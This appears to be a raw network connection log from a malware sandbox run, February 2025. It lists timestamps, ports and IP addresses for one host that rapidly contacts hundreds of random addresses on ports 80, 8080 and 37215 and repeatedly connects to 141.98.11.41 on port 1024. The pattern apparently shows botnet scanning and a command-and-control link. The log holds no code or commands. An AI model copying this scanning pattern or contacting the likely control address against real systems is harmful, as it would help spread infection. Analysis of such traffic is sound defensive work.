Feb 19, 2025 19:48:56.217272043 CET	80	37600	88.117.130.208	192.168.2.15
Feb 19, 2025 19:48:56.219118118 CET	8080	40302	95.144.247.14	192.168.2.15
Feb 19, 2025 19:48:56.219209909 CET	56016	80	192.168.2.15	88.203.127.224
Feb 19, 2025 19:48:56.220308065 CET	80	55534	88.203.127.224	192.168.2.15
Feb 19, 2025 19:48:56.220740080 CET	8080	40608	95.144.247.14	192.168.2.15
Feb 19, 2025 19:48:56.220949888 CET	40608	8080	192.168.2.15	95.144.247.14
Feb 19, 2025 19:48:56.221383095 CET	40884	8080	192.168.2.15	95.209.100.23
Feb 19, 2025 19:48:56.221383095 CET	40884	8080	192.168.2.15	95.209.100.23
Feb 19, 2025 19:48:56.221535921 CET	35228	37215	192.168.2.15	157.147.174.213
Feb 19, 2025 19:48:56.221918106 CET	35466	80	192.168.2.15	88.101.160.168
Feb 19, 2025 19:48:56.221918106 CET	35466	80	192.168.2.15	88.101.160.168
Feb 19, 2025 19:48:56.222978115 CET	41194	8080	192.168.2.15	95.209.100.23
Feb 19, 2025 19:48:56.223457098 CET	35936	80	192.168.2.15	88.101.160.168
Feb 19, 2025 19:48:56.224559069 CET	53304	80	192.168.2.15	88.245.237.90
Feb 19, 2025 19:48:56.224559069 CET	49784	80	192.168.2.15	88.105.218.104
Feb 19, 2025 19:48:56.224561930 CET	53066	8080	192.168.2.15	94.85.35.162
Feb 19, 2025 19:48:56.224571943 CET	50996	80	192.168.2.15	88.51.66.243
Feb 19, 2025 19:48:56.224571943 CET	48052	8080	192.168.2.15	95.62.123.209
Feb 19, 2025 19:48:56.224571943 CET	48830	80	192.168.2.15	88.26.186.63
Feb 19, 2025 19:48:56.224580050 CET	42426	8080	192.168.2.15	95.141.97.38
Feb 19, 2025 19:48:56.224590063 CET	36050	80	192.168.2.15	88.168.88.242
Feb 19, 2025 19:48:56.224590063 CET	56148	8080	192.168.2.15	95.250.40.29
Feb 19, 2025 19:48:56.224591017 CET	53300	80	192.168.2.15	88.51.92.143
Feb 19, 2025 19:48:56.224591017 CET	50676	80	192.168.2.15	88.7.214.145
Feb 19, 2025 19:48:56.224592924 CET	37612	80	192.168.2.15	88.229.252.82
Feb 19, 2025 19:48:56.224600077 CET	58822	80	192.168.2.15	88.208.206.151
Feb 19, 2025 19:48:56.224600077 CET	38540	80	192.168.2.15	88.250.25.121
Feb 19, 2025 19:48:56.224602938 CET	36364	8080	192.168.2.15	95.160.7.229
Feb 19, 2025 19:48:56.224602938 CET	40512	80	192.168.2.15	88.114.186.106
Feb 19, 2025 19:48:56.224605083 CET	49560	8080	192.168.2.15	95.15.178.71
Feb 19, 2025 19:48:56.224605083 CET	54276	80	192.168.2.15	88.102.156.49
Feb 19, 2025 19:48:56.224610090 CET	51772	80	192.168.2.15	88.131.139.17
Feb 19, 2025 19:48:56.224610090 CET	41180	80	192.168.2.15	88.134.239.228
Feb 19, 2025 19:48:56.224611998 CET	34660	80	192.168.2.15	88.109.52.248
Feb 19, 2025 19:48:56.224615097 CET	40014	80	192.168.2.15	88.26.121.46
Feb 19, 2025 19:48:56.224616051 CET	35970	8080	192.168.2.15	95.68.77.73
Feb 19, 2025 19:48:56.224616051 CET	53348	80	192.168.2.15	88.244.27.100
Feb 19, 2025 19:48:56.224618912 CET	56534	80	192.168.2.15	88.36.230.166
Feb 19, 2025 19:48:56.224627018 CET	48192	80	192.168.2.15	88.75.197.89
Feb 19, 2025 19:48:56.224631071 CET	57794	80	192.168.2.15	88.170.62.8
Feb 19, 2025 19:48:56.224632025 CET	47516	80	192.168.2.15	88.119.223.49
Feb 19, 2025 19:48:56.224634886 CET	59428	80	192.168.2.15	88.114.126.226
Feb 19, 2025 19:48:56.224636078 CET	48372	80	192.168.2.15	88.5.50.73
Feb 19, 2025 19:48:56.224642992 CET	56220	80	192.168.2.15	88.155.158.99
Feb 19, 2025 19:48:56.224642992 CET	50108	80	192.168.2.15	88.102.252.35
Feb 19, 2025 19:48:56.224644899 CET	50398	80	192.168.2.15	88.184.114.1
Feb 19, 2025 19:48:56.224646091 CET	51108	80	192.168.2.15	88.72.8.47
Feb 19, 2025 19:48:56.224652052 CET	40870	80	192.168.2.15	88.101.26.163
Feb 19, 2025 19:48:56.224668980 CET	57796	80	192.168.2.15	88.90.35.245
Feb 19, 2025 19:48:56.224668980 CET	46948	80	192.168.2.15	88.15.159.233
Feb 19, 2025 19:48:56.224668980 CET	40058	80	192.168.2.15	88.82.88.254
Feb 19, 2025 19:48:56.224670887 CET	38792	80	192.168.2.15	88.0.53.7
Feb 19, 2025 19:48:56.224670887 CET	56774	80	192.168.2.15	88.91.168.14
Feb 19, 2025 19:48:56.224670887 CET	57438	80	192.168.2.15	88.63.100.48
Feb 19, 2025 19:48:56.224670887 CET	39276	80	192.168.2.15	88.158.19.156
Feb 19, 2025 19:48:56.224670887 CET	53394	80	192.168.2.15	88.247.27.60
Feb 19, 2025 19:48:56.224721909 CET	49064	80	192.168.2.15	88.139.121.73
Feb 19, 2025 19:48:56.224922895 CET	35222	8080	192.168.2.15	85.236.40.38
Feb 19, 2025 19:48:56.224989891 CET	40608	8080	192.168.2.15	95.144.247.14
Feb 19, 2025 19:48:56.225048065 CET	33226	37215	192.168.2.15	157.45.244.195
Feb 19, 2025 19:48:56.226367950 CET	8080	40884	95.209.100.23	192.168.2.15
Feb 19, 2025 19:48:56.226921082 CET	80	35466	88.101.160.168	192.168.2.15
Feb 19, 2025 19:48:56.227381945 CET	54070	37215	192.168.2.15	157.89.243.93
Feb 19, 2025 19:48:56.229134083 CET	60072	37215	192.168.2.15	157.97.83.17
Feb 19, 2025 19:48:56.230062008 CET	8080	35222	85.236.40.38	192.168.2.15
Feb 19, 2025 19:48:56.230072021 CET	8080	40608	95.144.247.14	192.168.2.15
Feb 19, 2025 19:48:56.230103016 CET	35222	8080	192.168.2.15	85.236.40.38
Feb 19, 2025 19:48:56.230128050 CET	40608	8080	192.168.2.15	95.144.247.14
Feb 19, 2025 19:48:56.230758905 CET	49440	37215	192.168.2.15	157.75.239.239
Feb 19, 2025 19:48:56.231992006 CET	38550	37215	192.168.2.15	157.124.121.54
Feb 19, 2025 19:48:56.232352018 CET	37215	54070	157.89.243.93	192.168.2.15
Feb 19, 2025 19:48:56.232392073 CET	54070	37215	192.168.2.15	157.89.243.93
Feb 19, 2025 19:48:56.233155966 CET	33506	37215	192.168.2.15	157.7.91.6
Feb 19, 2025 19:48:56.234231949 CET	8080	43908	85.113.175.212	192.168.2.15
Feb 19, 2025 19:48:56.234555006 CET	40530	37215	192.168.2.15	157.12.102.34
Feb 19, 2025 19:48:56.235510111 CET	48910	37215	192.168.2.15	157.7.253.112
Feb 19, 2025 19:48:56.236622095 CET	54422	37215	192.168.2.15	157.227.55.64
Feb 19, 2025 19:48:56.237375975 CET	49698	37215	192.168.2.15	157.101.163.217
Feb 19, 2025 19:48:56.238225937 CET	34598	37215	192.168.2.15	157.65.82.221
Feb 19, 2025 19:48:56.239238977 CET	36066	37215	192.168.2.15	157.75.232.177
Feb 19, 2025 19:48:56.240478039 CET	37215	48910	157.7.253.112	192.168.2.15
Feb 19, 2025 19:48:56.240520000 CET	48910	37215	192.168.2.15	157.7.253.112
Feb 19, 2025 19:48:56.241300106 CET	48772	37215	192.168.2.15	157.170.4.234
Feb 19, 2025 19:48:56.245485067 CET	33540	37215	192.168.2.15	157.173.0.78
Feb 19, 2025 19:48:56.246773958 CET	52752	37215	192.168.2.15	157.252.141.128
Feb 19, 2025 19:48:56.250231981 CET	80	57940	88.63.95.80	192.168.2.15
Feb 19, 2025 19:48:56.251019955 CET	58342	37215	192.168.2.15	157.22.69.66
Feb 19, 2025 19:48:56.253674030 CET	38024	37215	192.168.2.15	157.157.116.80
Feb 19, 2025 19:48:56.254498005 CET	58534	37215	192.168.2.15	157.97.230.53
Feb 19, 2025 19:48:56.256011963 CET	37215	58342	157.22.69.66	192.168.2.15
Feb 19, 2025 19:48:56.256077051 CET	58342	37215	192.168.2.15	157.22.69.66
Feb 19, 2025 19:48:56.256561995 CET	60664	80	192.168.2.15	88.225.132.35
Feb 19, 2025 19:48:56.256566048 CET	35050	8080	192.168.2.15	31.41.161.109
Feb 19, 2025 19:48:56.256571054 CET	51252	80	192.168.2.15	88.234.91.223
Feb 19, 2025 19:48:56.256581068 CET	59674	80	192.168.2.15	88.34.237.117
Feb 19, 2025 19:48:56.256581068 CET	60122	8080	192.168.2.15	95.11.128.137
Feb 19, 2025 19:48:56.256583929 CET	46832	80	192.168.2.15	88.108.239.116
Feb 19, 2025 19:48:56.256592035 CET	49974	8080	192.168.2.15	95.160.193.126
Feb 19, 2025 19:48:56.256597996 CET	47940	80	192.168.2.15	88.212.157.47
Feb 19, 2025 19:48:56.256598949 CET	43046	80	192.168.2.15	88.155.0.182
Feb 19, 2025 19:48:56.256598949 CET	58384	8080	192.168.2.15	94.201.206.204
Feb 19, 2025 19:48:56.256606102 CET	43758	8080	192.168.2.15	95.77.114.84
Feb 19, 2025 19:48:56.256608009 CET	56904	80	192.168.2.15	88.0.166.77
Feb 19, 2025 19:48:56.256608009 CET	59694	80	192.168.2.15	88.126.104.108
Feb 19, 2025 19:48:56.256611109 CET	51758	80	192.168.2.15	88.112.1.196
Feb 19, 2025 19:48:56.256618023 CET	46678	80	192.168.2.15	88.102.245.23
Feb 19, 2025 19:48:56.256627083 CET	46016	80	192.168.2.15	88.53.232.157
Feb 19, 2025 19:48:56.256627083 CET	53910	80	192.168.2.15	88.249.193.225
Feb 19, 2025 19:48:56.256632090 CET	35380	8080	192.168.2.15	31.165.246.194
Feb 19, 2025 19:48:56.256632090 CET	60816	80	192.168.2.15	88.100.91.26
Feb 19, 2025 19:48:56.256642103 CET	58562	8080	192.168.2.15	85.80.29.195
Feb 19, 2025 19:48:56.256642103 CET	35916	80	192.168.2.15	88.106.102.34
Feb 19, 2025 19:48:56.256642103 CET	37476	80	192.168.2.15	88.140.138.215
Feb 19, 2025 19:48:56.256645918 CET	36348	80	192.168.2.15	88.235.5.130
Feb 19, 2025 19:48:56.256649017 CET	43192	80	192.168.2.15	88.41.236.162
Feb 19, 2025 19:48:56.256649971 CET	53544	8080	192.168.2.15	95.49.231.145
Feb 19, 2025 19:48:56.256668091 CET	49468	80	192.168.2.15	88.214.97.194
Feb 19, 2025 19:48:56.256669044 CET	43086	8080	192.168.2.15	62.94.100.78
Feb 19, 2025 19:48:56.256670952 CET	49332	8080	192.168.2.15	85.133.212.77
Feb 19, 2025 19:48:56.256670952 CET	58680	80	192.168.2.15	88.24.68.106
Feb 19, 2025 19:48:56.256675005 CET	38828	8080	192.168.2.15	95.36.34.229
Feb 19, 2025 19:48:56.256675005 CET	49638	80	192.168.2.15	88.88.50.43
Feb 19, 2025 19:48:56.256678104 CET	35560	80	192.168.2.15	88.169.217.20
Feb 19, 2025 19:48:56.256678104 CET	50238	80	192.168.2.15	88.135.73.86
Feb 19, 2025 19:48:56.256678104 CET	32864	80	192.168.2.15	88.32.161.146
Feb 19, 2025 19:48:56.256678104 CET	35378	8080	192.168.2.15	85.76.87.220
Feb 19, 2025 19:48:56.256702900 CET	52578	80	192.168.2.15	88.54.252.80
Feb 19, 2025 19:48:56.256870985 CET	52836	80	192.168.2.15	88.180.123.146
Feb 19, 2025 19:48:56.256870985 CET	57958	80	192.168.2.15	88.176.129.184
Feb 19, 2025 19:48:56.256871939 CET	33670	8080	192.168.2.15	62.181.18.227
Feb 19, 2025 19:48:56.256871939 CET	46486	80	192.168.2.15	88.89.31.146
Feb 19, 2025 19:48:56.256871939 CET	44054	80	192.168.2.15	88.83.15.4
Feb 19, 2025 19:48:56.256871939 CET	48998	80	192.168.2.15	88.113.98.182
Feb 19, 2025 19:48:56.257561922 CET	42926	37215	192.168.2.15	157.97.175.235
Feb 19, 2025 19:48:56.258204937 CET	80	41164	95.242.151.229	192.168.2.15
Feb 19, 2025 19:48:56.258272886 CET	8080	34768	85.236.40.38	192.168.2.15
Feb 19, 2025 19:48:56.258301973 CET	80	37600	88.117.130.208	192.168.2.15
Feb 19, 2025 19:48:56.258311987 CET	8080	42240	85.134.161.117	192.168.2.15
Feb 19, 2025 19:48:56.261730909 CET	80	60664	88.225.132.35	192.168.2.15
Feb 19, 2025 19:48:56.261802912 CET	60664	80	192.168.2.15	88.225.132.35
Feb 19, 2025 19:48:56.261802912 CET	52812	37215	192.168.2.15	157.187.34.78
Feb 19, 2025 19:48:56.261940002 CET	60664	80	192.168.2.15	88.225.132.35
Feb 19, 2025 19:48:56.262226105 CET	80	55534	88.203.127.224	192.168.2.15
Feb 19, 2025 19:48:56.262238026 CET	8080	40302	95.144.247.14	192.168.2.15
Feb 19, 2025 19:48:56.265161991 CET	35222	37215	192.168.2.15	157.222.109.202
Feb 19, 2025 19:48:56.267000914 CET	80	60664	88.225.132.35	192.168.2.15
Feb 19, 2025 19:48:56.267040014 CET	60664	80	192.168.2.15	88.225.132.35
Feb 19, 2025 19:48:56.269737005 CET	33298	37215	192.168.2.15	157.170.132.158
Feb 19, 2025 19:48:56.270287037 CET	80	35466	88.101.160.168	192.168.2.15
Feb 19, 2025 19:48:56.270298958 CET	8080	40884	95.209.100.23	192.168.2.15
Feb 19, 2025 19:48:56.270356894 CET	37438	37215	192.168.2.15	157.255.175.63
Feb 19, 2025 19:48:56.271029949 CET	36328	37215	192.168.2.15	157.153.238.208
Feb 19, 2025 19:48:56.271668911 CET	39186	37215	192.168.2.15	157.108.38.231
Feb 19, 2025 19:48:56.272306919 CET	46910	37215	192.168.2.15	157.255.21.232
Feb 19, 2025 19:48:56.272938013 CET	34200	37215	192.168.2.15	157.117.159.25
Feb 19, 2025 19:48:56.273606062 CET	59210	37215	192.168.2.15	157.167.92.184
Feb 19, 2025 19:48:56.274270058 CET	40446	37215	192.168.2.15	157.250.149.227
Feb 19, 2025 19:48:56.274857044 CET	37215	33298	157.170.132.158	192.168.2.15
Feb 19, 2025 19:48:56.274894953 CET	33298	37215	192.168.2.15	157.170.132.158
Feb 19, 2025 19:48:56.274930954 CET	60670	37215	192.168.2.15	157.39.0.231
Feb 19, 2025 19:48:56.276675940 CET	46344	37215	192.168.2.15	157.98.143.135
Feb 19, 2025 19:48:56.277335882 CET	44382	37215	192.168.2.15	157.6.66.52
Feb 19, 2025 19:48:56.277980089 CET	44736	37215	192.168.2.15	157.213.190.50
Feb 19, 2025 19:48:56.278619051 CET	43040	37215	192.168.2.15	157.145.29.54
Feb 19, 2025 19:48:56.279263973 CET	46000	37215	192.168.2.15	157.46.139.112
Feb 19, 2025 19:48:56.279898882 CET	42920	37215	192.168.2.15	157.10.166.48
Feb 19, 2025 19:48:56.280601025 CET	42156	37215	192.168.2.15	157.178.69.163
Feb 19, 2025 19:48:56.281228065 CET	44038	37215	192.168.2.15	157.130.32.160
Feb 19, 2025 19:48:56.281630039 CET	37215	46344	157.98.143.135	192.168.2.15
Feb 19, 2025 19:48:56.281667948 CET	46344	37215	192.168.2.15	157.98.143.135
Feb 19, 2025 19:48:56.281861067 CET	59458	37215	192.168.2.15	157.144.127.188
Feb 19, 2025 19:48:56.282500029 CET	49406	37215	192.168.2.15	157.225.104.229
Feb 19, 2025 19:48:56.283133030 CET	58166	37215	192.168.2.15	157.199.61.228
Feb 19, 2025 19:48:56.283767939 CET	54614	37215	192.168.2.15	157.32.74.46
Feb 19, 2025 19:48:56.284401894 CET	33986	37215	192.168.2.15	157.141.217.54
Feb 19, 2025 19:48:56.285021067 CET	57924	37215	192.168.2.15	157.196.110.129
Feb 19, 2025 19:48:56.285641909 CET	34084	37215	192.168.2.15	157.32.13.248
Feb 19, 2025 19:48:56.286469936 CET	42092	37215	192.168.2.15	157.63.241.148
Feb 19, 2025 19:48:56.287204027 CET	49310	37215	192.168.2.15	157.92.247.21
Feb 19, 2025 19:48:56.287853003 CET	54288	37215	192.168.2.15	157.83.215.141
Feb 19, 2025 19:48:56.288516998 CET	39438	37215	192.168.2.15	157.124.214.237
Feb 19, 2025 19:48:56.288564920 CET	33888	8080	192.168.2.15	85.70.8.98
Feb 19, 2025 19:48:56.288566113 CET	41516	8080	192.168.2.15	62.166.187.99
Feb 19, 2025 19:48:56.288568974 CET	48264	8080	192.168.2.15	62.133.146.104
Feb 19, 2025 19:48:56.288575888 CET	52186	8080	192.168.2.15	85.44.169.128
Feb 19, 2025 19:48:56.288575888 CET	52304	8080	192.168.2.15	62.9.11.148
Feb 19, 2025 19:48:56.288577080 CET	39226	8080	192.168.2.15	95.253.27.164
Feb 19, 2025 19:48:56.288578033 CET	39254	8080	192.168.2.15	85.41.125.132
Feb 19, 2025 19:48:56.288579941 CET	43126	8080	192.168.2.15	94.110.87.110
Feb 19, 2025 19:48:56.288593054 CET	43458	8080	192.168.2.15	85.46.201.12
Feb 19, 2025 19:48:56.288598061 CET	38246	8080	192.168.2.15	62.174.45.39
Feb 19, 2025 19:48:56.288598061 CET	42838	8080	192.168.2.15	85.107.197.233
Feb 19, 2025 19:48:56.288598061 CET	56672	8080	192.168.2.15	94.125.195.95
Feb 19, 2025 19:48:56.288598061 CET	45760	8080	192.168.2.15	95.135.15.89
Feb 19, 2025 19:48:56.288598061 CET	34674	8080	192.168.2.15	94.83.97.152
Feb 19, 2025 19:48:56.288599968 CET	55226	8080	192.168.2.15	31.208.20.41
Feb 19, 2025 19:48:56.288599968 CET	49406	8080	192.168.2.15	62.117.58.214
Feb 19, 2025 19:48:56.288605928 CET	48666	8080	192.168.2.15	31.102.241.149
Feb 19, 2025 19:48:56.288605928 CET	43052	8080	192.168.2.15	94.181.75.9
Feb 19, 2025 19:48:56.288614035 CET	48804	8080	192.168.2.15	62.82.143.68
Feb 19, 2025 19:48:56.288629055 CET	55302	8080	192.168.2.15	31.29.206.100
Feb 19, 2025 19:48:56.288630009 CET	54714	8080	192.168.2.15	95.116.172.70
Feb 19, 2025 19:48:56.289146900 CET	43450	37215	192.168.2.15	157.112.95.101
Feb 19, 2025 19:48:56.289767027 CET	37094	37215	192.168.2.15	157.60.210.41
Feb 19, 2025 19:48:56.290416002 CET	57724	37215	192.168.2.15	157.0.253.209
Feb 19, 2025 19:48:56.292810917 CET	37215	54288	157.83.215.141	192.168.2.15
Feb 19, 2025 19:48:56.292865038 CET	54288	37215	192.168.2.15	157.83.215.141
Feb 19, 2025 19:48:56.304949045 CET	33532	37215	192.168.2.15	157.6.115.82
Feb 19, 2025 19:48:56.305532932 CET	47766	37215	192.168.2.15	157.22.137.177
Feb 19, 2025 19:48:56.306145906 CET	54310	37215	192.168.2.15	157.35.49.229
Feb 19, 2025 19:48:56.306725025 CET	42370	37215	192.168.2.15	157.111.6.45
Feb 19, 2025 19:48:56.307344913 CET	42402	37215	192.168.2.15	157.205.32.38
Feb 19, 2025 19:48:56.307904005 CET	44522	37215	192.168.2.15	157.235.10.181
Feb 19, 2025 19:48:56.308475018 CET	48844	37215	192.168.2.15	157.238.186.254
Feb 19, 2025 19:48:56.309134007 CET	43290	37215	192.168.2.15	157.188.164.249
Feb 19, 2025 19:48:56.309783936 CET	56960	37215	192.168.2.15	157.62.24.168
Feb 19, 2025 19:48:56.309978008 CET	37215	33532	157.6.115.82	192.168.2.15
Feb 19, 2025 19:48:56.310096025 CET	33532	37215	192.168.2.15	157.6.115.82
Feb 19, 2025 19:48:56.310590982 CET	33610	37215	192.168.2.15	157.92.110.238
Feb 19, 2025 19:48:56.311330080 CET	38110	37215	192.168.2.15	157.179.96.212
Feb 19, 2025 19:48:56.311990976 CET	52064	37215	192.168.2.15	157.228.176.146
Feb 19, 2025 19:48:56.312365055 CET	37215	42402	157.205.32.38	192.168.2.15
Feb 19, 2025 19:48:56.312421083 CET	42402	37215	192.168.2.15	157.205.32.38
Feb 19, 2025 19:48:56.312683105 CET	44314	37215	192.168.2.15	157.51.255.55
Feb 19, 2025 19:48:56.313297033 CET	52328	37215	192.168.2.15	157.11.59.27
Feb 19, 2025 19:48:56.313922882 CET	50722	37215	192.168.2.15	157.132.178.136
Feb 19, 2025 19:48:56.314538956 CET	48206	37215	192.168.2.15	157.107.96.135
Feb 19, 2025 19:48:56.315203905 CET	53220	37215	192.168.2.15	157.201.234.32
Feb 19, 2025 19:48:56.315845966 CET	58100	37215	192.168.2.15	157.183.78.202
Feb 19, 2025 19:48:56.316450119 CET	60314	37215	192.168.2.15	157.209.164.148
Feb 19, 2025 19:48:56.317034960 CET	55986	37215	192.168.2.15	157.121.107.218
Feb 19, 2025 19:48:56.317620039 CET	46500	37215	192.168.2.15	157.65.86.28
Feb 19, 2025 19:48:56.318203926 CET	48630	37215	192.168.2.15	157.6.106.18
Feb 19, 2025 19:48:56.318795919 CET	59556	37215	192.168.2.15	157.59.87.196
Feb 19, 2025 19:48:56.319410086 CET	44760	37215	192.168.2.15	157.168.127.79
Feb 19, 2025 19:48:56.319996119 CET	47028	37215	192.168.2.15	157.223.98.64
Feb 19, 2025 19:48:56.320576906 CET	54398	8080	192.168.2.15	31.125.69.225
Feb 19, 2025 19:48:56.320586920 CET	39882	8080	192.168.2.15	94.165.104.157
Feb 19, 2025 19:48:56.320611954 CET	34928	37215	192.168.2.15	157.1.87.224
Feb 19, 2025 19:48:56.320863008 CET	37215	58100	157.183.78.202	192.168.2.15
Feb 19, 2025 19:48:56.320935011 CET	58100	37215	192.168.2.15	157.183.78.202
Feb 19, 2025 19:48:56.321234941 CET	59008	37215	192.168.2.15	157.172.209.39
Feb 19, 2025 19:48:56.321815968 CET	60040	37215	192.168.2.15	157.234.173.200
Feb 19, 2025 19:48:56.322407007 CET	55706	37215	192.168.2.15	157.217.202.228
Feb 19, 2025 19:48:56.323009014 CET	39066	37215	192.168.2.15	157.78.133.244
Feb 19, 2025 19:48:56.323607922 CET	37564	37215	192.168.2.15	157.93.79.145
Feb 19, 2025 19:48:56.324178934 CET	56596	37215	192.168.2.15	157.192.33.156
Feb 19, 2025 19:48:56.324740887 CET	46042	37215	192.168.2.15	157.177.168.193
Feb 19, 2025 19:48:56.325341940 CET	43820	37215	192.168.2.15	157.123.45.107
Feb 19, 2025 19:48:56.325905085 CET	49466	37215	192.168.2.15	157.187.46.226
Feb 19, 2025 19:48:56.326472044 CET	33830	37215	192.168.2.15	157.89.8.90
Feb 19, 2025 19:48:56.327186108 CET	45820	37215	192.168.2.15	157.103.213.37
Feb 19, 2025 19:48:56.327745914 CET	33168	37215	192.168.2.15	157.243.240.229
Feb 19, 2025 19:48:56.328329086 CET	56840	37215	192.168.2.15	157.208.78.80
Feb 19, 2025 19:48:56.328917027 CET	44032	37215	192.168.2.15	157.97.246.236
Feb 19, 2025 19:48:56.329499006 CET	60656	37215	192.168.2.15	157.134.9.56
Feb 19, 2025 19:48:56.330073118 CET	56932	37215	192.168.2.15	157.79.103.231
Feb 19, 2025 19:48:56.330642939 CET	51860	37215	192.168.2.15	157.28.71.143
Feb 19, 2025 19:48:56.331213951 CET	45946	37215	192.168.2.15	157.203.220.61
Feb 19, 2025 19:48:56.331784010 CET	59560	37215	192.168.2.15	157.189.64.227
Feb 19, 2025 19:48:56.332362890 CET	48490	37215	192.168.2.15	157.181.198.107
Feb 19, 2025 19:48:56.332786083 CET	37215	33168	157.243.240.229	192.168.2.15
Feb 19, 2025 19:48:56.332843065 CET	33168	37215	192.168.2.15	157.243.240.229
Feb 19, 2025 19:48:56.332932949 CET	35668	37215	192.168.2.15	157.246.226.168
Feb 19, 2025 19:48:56.333483934 CET	46186	37215	192.168.2.15	157.18.208.108
Feb 19, 2025 19:48:56.334052086 CET	53964	37215	192.168.2.15	157.54.105.151
Feb 19, 2025 19:48:56.334623098 CET	57264	37215	192.168.2.15	157.198.215.232
Feb 19, 2025 19:48:56.335231066 CET	36478	37215	192.168.2.15	157.215.250.213
Feb 19, 2025 19:48:56.335782051 CET	46216	37215	192.168.2.15	157.189.183.186
Feb 19, 2025 19:48:56.336359024 CET	43352	37215	192.168.2.15	157.55.125.139
Feb 19, 2025 19:48:56.336915016 CET	44674	37215	192.168.2.15	157.69.44.30
Feb 19, 2025 19:48:56.337454081 CET	51108	37215	192.168.2.15	157.235.33.184
Feb 19, 2025 19:48:56.338015079 CET	39214	37215	192.168.2.15	157.189.83.196
Feb 19, 2025 19:48:56.338571072 CET	38686	37215	192.168.2.15	157.41.219.112
Feb 19, 2025 19:48:56.339114904 CET	53318	37215	192.168.2.15	157.74.67.67
Feb 19, 2025 19:48:56.339708090 CET	33954	37215	192.168.2.15	157.216.236.144
Feb 19, 2025 19:48:56.340296030 CET	44634	37215	192.168.2.15	157.203.147.185
Feb 19, 2025 19:48:56.340792894 CET	37215	46216	157.189.183.186	192.168.2.15
Feb 19, 2025 19:48:56.340832949 CET	46216	37215	192.168.2.15	157.189.183.186
Feb 19, 2025 19:48:56.340852022 CET	59104	37215	192.168.2.15	157.113.175.168
Feb 19, 2025 19:48:56.341414928 CET	45362	37215	192.168.2.15	157.207.49.122
Feb 19, 2025 19:48:56.341964960 CET	56052	37215	192.168.2.15	157.2.40.204
Feb 19, 2025 19:48:56.342540026 CET	56064	37215	192.168.2.15	157.54.64.170
Feb 19, 2025 19:48:56.354285955 CET	1024	53116	141.98.11.41	192.168.2.15
Feb 19, 2025 19:48:56.354495049 CET	53116	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:56.354495049 CET	53116	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:56.354831934 CET	53398	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:56.359766960 CET	1024	53398	141.98.11.41	192.168.2.15
Feb 19, 2025 19:48:56.359852076 CET	53398	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:56.360488892 CET	53398	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:56.360800982 CET	56134	37215	192.168.2.15	157.243.171.191
Feb 19, 2025 19:48:56.361350060 CET	44944	37215	192.168.2.15	157.111.118.236
Feb 19, 2025 19:48:56.362013102 CET	6405	37215	192.168.2.15	157.83.99.175
Feb 19, 2025 19:48:56.362052917 CET	6405	37215	192.168.2.15	157.190.203.142
Feb 19, 2025 19:48:56.362055063 CET	6405	37215	192.168.2.15	157.123.239.177
Feb 19, 2025 19:48:56.362070084 CET	6405	37215	192.168.2.15	157.196.13.248
Feb 19, 2025 19:48:56.362104893 CET	6405	37215	192.168.2.15	157.88.149.179
Feb 19, 2025 19:48:56.362107038 CET	6405	37215	192.168.2.15	157.201.17.33
Feb 19, 2025 19:48:56.362119913 CET	6405	37215	192.168.2.15	157.107.247.24
Feb 19, 2025 19:48:56.362153053 CET	6405	37215	192.168.2.15	157.190.143.244
Feb 19, 2025 19:48:56.362150908 CET	6405	37215	192.168.2.15	157.182.19.249
Feb 19, 2025 19:48:56.362169027 CET	6405	37215	192.168.2.15	157.254.48.129
Feb 19, 2025 19:48:56.362185955 CET	6405	37215	192.168.2.15	157.148.13.73
Feb 19, 2025 19:48:56.362215996 CET	6405	37215	192.168.2.15	157.137.90.19
Feb 19, 2025 19:48:56.362215996 CET	6405	37215	192.168.2.15	157.107.222.39
Feb 19, 2025 19:48:56.362251043 CET	6405	37215	192.168.2.15	157.193.122.254
Feb 19, 2025 19:48:56.362255096 CET	6405	37215	192.168.2.15	157.77.253.62
Feb 19, 2025 19:48:56.362286091 CET	6405	37215	192.168.2.15	157.12.85.185
Feb 19, 2025 19:48:56.362289906 CET	6405	37215	192.168.2.15	157.167.114.103
Feb 19, 2025 19:48:56.362303972 CET	6405	37215	192.168.2.15	157.185.30.217
Feb 19, 2025 19:48:56.362319946 CET	6405	37215	192.168.2.15	157.227.222.206
Feb 19, 2025 19:48:56.362344980 CET	6405	37215	192.168.2.15	157.88.149.205
Feb 19, 2025 19:48:56.362385988 CET	6405	37215	192.168.2.15	157.160.67.123
Feb 19, 2025 19:48:56.362389088 CET	6405	37215	192.168.2.15	157.127.8.129
Feb 19, 2025 19:48:56.362395048 CET	6405	37215	192.168.2.15	157.90.249.91
Feb 19, 2025 19:48:56.362411976 CET	6405	37215	192.168.2.15	157.39.191.255
Feb 19, 2025 19:48:56.362428904 CET	6405	37215	192.168.2.15	157.164.229.166
Feb 19, 2025 19:48:56.362446070 CET	6405	37215	192.168.2.15	157.58.71.232
Feb 19, 2025 19:48:56.362462044 CET	6405	37215	192.168.2.15	157.200.118.136
Feb 19, 2025 19:48:56.362512112 CET	6405	37215	192.168.2.15	157.178.218.179
Feb 19, 2025 19:48:56.362513065 CET	6405	37215	192.168.2.15	157.56.24.252
Feb 19, 2025 19:48:56.362518072 CET	6405	37215	192.168.2.15	157.147.32.75
Feb 19, 2025 19:48:56.362582922 CET	6405	37215	192.168.2.15	157.89.35.74
Feb 19, 2025 19:48:56.362584114 CET	6405	37215	192.168.2.15	157.232.93.106
Feb 19, 2025 19:48:56.362588882 CET	6405	37215	192.168.2.15	157.181.28.80
Feb 19, 2025 19:48:56.362603903 CET	6405	37215	192.168.2.15	157.78.19.23
Feb 19, 2025 19:48:56.362657070 CET	6405	37215	192.168.2.15	157.170.28.147
Feb 19, 2025 19:48:56.362660885 CET	6405	37215	192.168.2.15	157.18.63.80
Feb 19, 2025 19:48:56.362660885 CET	6405	37215	192.168.2.15	157.153.241.145
Feb 19, 2025 19:48:56.362679958 CET	6405	37215	192.168.2.15	157.185.93.210
Feb 19, 2025 19:48:56.362685919 CET	6405	37215	192.168.2.15	157.152.8.205
Feb 19, 2025 19:48:56.362719059 CET	6405	37215	192.168.2.15	157.189.200.87
Feb 19, 2025 19:48:56.362720013 CET	6405	37215	192.168.2.15	157.98.8.231
Feb 19, 2025 19:48:56.362720013 CET	6405	37215	192.168.2.15	157.89.16.85
Feb 19, 2025 19:48:56.362740040 CET	6405	37215	192.168.2.15	157.13.169.62
